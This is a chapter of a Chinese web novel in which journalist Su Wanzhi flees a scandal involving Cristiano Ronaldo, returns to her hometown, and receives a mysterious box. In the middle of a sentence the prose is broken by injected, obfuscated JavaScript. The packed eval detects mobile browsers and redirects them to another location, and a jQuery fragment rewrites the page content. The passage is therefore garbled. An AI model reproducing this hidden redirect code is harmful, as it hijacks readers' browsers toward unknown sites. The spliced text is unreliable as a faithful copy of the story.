“别出门。别回应。等我。”


    这条没有署名的短信，像黑暗中伸出的一只手，短暂地稳住了苏晚栀摇摇欲坠的心神。她紧握着手机，冰冷的金属外壳被掌心的冷汗浸湿。


    是他。


    一定是克里斯蒂亚诺。


    在铺天盖地的指责和混乱中，这是他传来的唯一信号——命令式的，却带着一种奇异的安抚力量。


    张月也看到了短信，她松了口气，拍拍苏晚栀的手背：“看，我说了吧！他在处理。你现在要做的就是沉住气，别自乱阵脚。乔治·门德斯可不是吃素的，这种场面他们见得多了。”


    苏晚栀点了点头，强迫自己冷静下来。她重新开机，屏蔽了所有陌生号码和社交媒体的通知，只留下必要的几个联系人。张月陪着她，简单吃了点东西，又分析了一番局势，直到深夜才离开。


    接下来的两天，苏晚栀如同困兽，被软禁在酒店房间里。窗外，都灵的天空依旧，但她感觉整座城市都充满了窥探的眼睛。网络上的风暴并未停歇，各种猜测和“深度爆料”层出不穷，甚至开始有媒体挖她在国内的背景和过往。程老师又打来一次电话，语气疲惫而疏远，暗示总部对她“处理不当”非常不满，停职期可能会延长，甚至不排除解约的可能。


    杂志社的切割态度让她心寒，但更让她窒息的是那种无能为力的感觉。她像一个等待宣判的囚徒，所有的希望都寄托在门德斯团队的公关能力和……克里斯蒂亚诺的态度上。那条“等我”的短信，是唯一的浮木。


    然而，“等待”本身就是一种煎熬。她不断刷新着新闻，期待看到俱乐部或门德斯的官方声明，期待看到克里斯蒂亚诺方面的任何表态。但什么都没有。


    尤文图斯俱乐部官方沉默，门德斯方面沉默，克里斯蒂亚诺的个人社交账号更是毫无动静。这种死寂，比喧嚣的指责更让人恐慌。他是在想办法？还是……在权衡利弊后，选择了最稳妥的切割？


    第三天清晨，苏晚栀在噩梦中惊醒，梦里全是扭曲的镜头和刺耳的咒骂。她坐起身，冷汗涔涔。阳光透过窗帘缝隙照进来，刺眼得让她头晕。她走到窗边，看着楼下街道上熙熙攘攘的人群，一种巨大的孤独和恐惧将她淹没。


    她不能再这样等下去了。等待让她失去主动权，等待让她胡思乱想，等待让她觉得自己像一个依附于他决策的、可怜的累赘。乔治·门德斯警告的眼神，阿莱格里意味深长的问题，此刻都无比清晰地浮现在眼前。她的存在，对于正处于风口浪尖的他来说，本身就是麻烦。那些照片，那些“证据”，无论真假，都已经造成了伤害。如果门德斯团队最终的策略是“否认”和“切割”，那她的存在只会让一切变得更复杂。


    一个念头疯狂地滋生起来，


    离开。


    离开都灵，离开这个是非之地，离开可能给他带来的任何潜在麻烦。


    这个念头一旦出现，就迅速变得无比坚定。这不是退缩，这是一种……保护。保护自己残存的自尊，也保护他那份或许存在的、尚未被现实完全磨灭的“不一样”。


    她立刻行动起来，订了最快一班飞往上海的机票，然后转机回她江南老家。她没有告诉张月，也没有告诉程老师。她只是简单地收拾了行李，将那些关于都灵、关于尤文图斯、关于克里斯蒂亚诺·罗纳尔多的资料和笔记，连同那枚黑白徽章和存满私密视频的U盘，一起锁进了行李箱最底层。


    下午，她戴上帽子和墨镜，压低存在感，像做贼一样从酒店后门离开，打车直奔机场。一路上，她紧张地观察着后视镜，生怕有狗仔跟踪。直到顺利通过安检，坐在候机厅冰冷的座椅上，看着窗外停机坪上起起落落的飞机，她才感觉到一种虚脱般的疲惫。


    飞机起飞时，她最后看了一眼舷窗外。都灵城在脚下逐渐缩小，变成模糊的轮廓，安联球场那个白色的圆点最终消失在云层之下。她闭上眼，感觉有温热的液体从眼角滑落。这不是告别，这是一场仓皇的逃离。


    经过十几个小时的飞行和转机，当她拖着疲惫的身躯，踏上江南水乡那座小城湿润的土地时，恍如隔世。空气里是熟悉的、带着水汽和植物清香的味道，与都灵的干燥冷冽截然不同。她回到位于古镇一隅的老宅，这是她外婆留下的房子，白墙黛瓦，临水而居，平时无人居住，只有钟点工定期打扫。


    推开吱呀作响的木门，院里的青苔和墙角的水缸依旧。一切仿佛都与她离开时一样，时光在这里流淌得格外缓慢。


    她放下行李，坐在廊下的竹椅上，看着天井里一方小小的天空，听着远处传来


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16955444|193116||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    的摇橹声和吴侬软语，紧绷了数日的神经终于一点点松弛下来。这里没有聚光灯，没有摄像头，没有无穷无尽的审视和指责。只有熟悉的、令人安心的静谧。


    她关掉了手机，切断了与外界的一切联系。她需要时间，需要空间，来舔舐伤口，来重新找回那个在成为“克里斯蒂亚诺·罗纳尔多相关报道记者”之前的、独立的苏晚栀。


    几天后，她才重新打开手机。无数条信息和未接来电提示涌了进来，大部分是张月和程老师的，还有几个陌生的国外号码。她深吸一口气，先给张月发了条报平安的短信，简单说自己回国休息一段时间，勿念。张月的电话立刻打了过来，语气焦急又生气：“苏晚栀！你跑哪儿去了！知不知道我们都急死了！你走了之后，门德斯那边……”


    “张月，”苏晚栀打断她，声音平静得自己都惊讶，“我累了，想静一静。那边的事情，都和我没关系了。帮我跟程老师说一声，谢谢他这些年的照顾。”


    挂了电话，她犹豫了一下，点开了新闻APP。关于她的风波似乎已经平息了不少，取而代之的是克里斯蒂亚诺开始夏季休假的新闻，有狗仔拍到他带着家人前往地中海某小岛度假的照片，照片上他笑容轻松，似乎并未受到太多影响。也有零星报道提及“恋情乌龙”已澄清，女方“疑似已离职并离开意大利”。


    看到这些，苏晚栀心里说不清是失落还是解脱。他安然无恙，舆论也已转向。她的离开，似乎确实是“正确”的选择。她关掉网页，不再去看任何与他相关的消息。


    日子一天天过去。她每天睡到自然醒，在古镇的青石板路上散步，看小桥流水，听雨打芭蕉，去镇上的茶馆听评弹，试图用最熟悉的生活节奏麻痹自己。但每当夜深人静，独自躺在老式雕花木床上时，都灵的记忆便会不受控制地涌现：训练场的夕阳，露台上的热可可，雨中的德比，月光下的凝视，还有那条简短的“等我”的短信……


    她以为自己逃离了，却发现有些东西，早已刻进了骨子里。


    就在她几乎要习惯这种与世隔绝的平静时，一个傍晚，她散步回家，发现院门的铜环上，挂着一个没有任何署名的、牛皮纸包裹的狭长盒子。盒子的样式，与都灵那座私人会所里，他递给她盛放徽章的盒子，一模一样。